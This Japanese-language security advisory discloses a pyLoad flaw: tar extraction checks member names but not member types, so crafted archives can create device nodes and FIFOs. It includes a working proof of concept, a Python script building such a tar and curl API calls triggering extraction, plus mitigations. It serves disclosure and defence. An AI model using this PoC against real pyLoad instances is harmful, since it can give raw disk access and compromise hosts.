pyLoad: tarファイルからの展開は、デバイスノードとFIFO(メンバーの種類はフィルタリングされません。tarfileのextractallはfilter=なしで実行されます)を作成します。

### 概要

`UnTar._safe_extractall` — GHSA-mvwx-582f-56r7に対するセキュリティ強化 — は、メンバーの**名前**とシンボリックリンク/ハードリンクの**ターゲット**を検証しますが、メンバーの**種類**は検証しません。また、`tarfile.extractall`を`filter=`を指定せずに呼び出します。Python 3.14未満では、デフォルトの展開フィルタは`fully_trusted`であるため、デバイスまたはFIFOのエントリを含む悪意のあるtarファイルがpyLoadによって処理されると、それらがディスク上に作成されます。pyLoadがrootユーザーとして実行される場合(公式のDocker環境など)、ブロックデバイスのメンバーは、rawディスクへのアクセスを許可し、ホスト全体の侵害につながる可能性があります。これは、アーカイブの展開をトリガーできる(アーカイブを供給するADDコマンド、または`ExtractArchive.extract_package`を呼び出すSTATUSコマンドなど)権限の低いユーザーでも利用可能です。

### 詳細

```python
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <シンボリックリンク/ハードリンクのターゲットのチェック>: # 名前とリンクのみ
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # filter=なし
```

`member.isdev()` / `ischr()` / `isblk()` / `isfifo()`のチェックは存在せず、`plugins/base/extractor.py:191-263`における事前検証も名前のみです。Pythonのtarfileは、3.14で初めて安全なフィルタをデフォルトで使用します。サポートされているランタイム(3.9–3.13)では、euid=0の場合に`mknod`が有効になり、すべてのeuidに対してFIFOが作成されます。

### PoC(概念実証)

```bash
BASE=http://127.0.0.1:8100
# 通常のmarker.txtファイルと、CHRTYPEメンバー(major=1,minor=3)、FIFOメンバーを含むtarファイルを作成します。
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # *.binという名前を付けて、UnTar(コンテンツを解析)がそれを認識するようにします
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
```

# 低権限ユーザーとして (ADD|STATUS): パッケージを追加し、アーカイブファイルをダウンロードフォルダに配置し、
# その後、展開を実行します。
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'

ls -l <展開先ディレクトリ>
# → crw-rw-rw- 1 root root 1, 3 nulldev (文字デバイスが作成されました)
# → prw-r--r-- 1 root root pipe (FIFOが作成されました)
# → -rw-r--r-- 1 root root marker.txt

ネガティブコントロール: `../evil`というパスを含むファイルは拒否されます
(ArchiveError: アーカイブ内のパストラバーサル試行) し、何も展開されません。
GHSA-mvwxという名前のフィルタは機能しており、問題はメンバーの**種類**に依存します。
(注: 7zバイナリが存在する場合、`.tar`という名前のファイルは、拡張子に基づいて最初にSevenZipによって処理されます。
UnTarのパスは、マッピングされていない名前、上記のようなコンテンツスニッフィングされたコンテナ、または7zが存在しない/失敗した場合に到達されます。)

### 影響

pyLoadがroot権限で実行されている場合、悪意のあるアーカイブファイルは、任意のパスにブロック/文字デバイスノードを作成する可能性があります(rawディスクの読み書き → ホストの侵害)、FIFOを作成する可能性があります(プロセスがハングする、IPCの混乱)、または特殊なビットを設定する可能性があります。
root権限ではない環境でも、FIFOとノードエントリがユーザーアクセス可能なディレクトリに作成される可能性があります。

### 対策

`_safe_extractall`関数では、通常のファイル、ディレクトリ、または安全なリンク以外のすべてのメンバーを拒否(またはスキップ)します。
例: `member.isdev() or isfifo()` → `ArchiveError`。
`filter="data"`を適用します(Python ≥ 3.12でサポートされています。古いランタイムの場合は、このチェックをバックポートしてください)。
すべての展開器で同じメンバータイプの検証を、展開前のバリデータに適用します。

### 参照

- GHSA-mvwx-582f-56r7: この修正は、この問題を解決するためのtarのパストラバーサル修正を拡張するものです(名前/リンクは検証されますが、メンバーの種類は検証されません)。

影響を受けるパッケージ:
- pip (Python) pyload-ng: 影響を受けるバージョンは 0.5.0b3.dev101 以下。修正は未実施。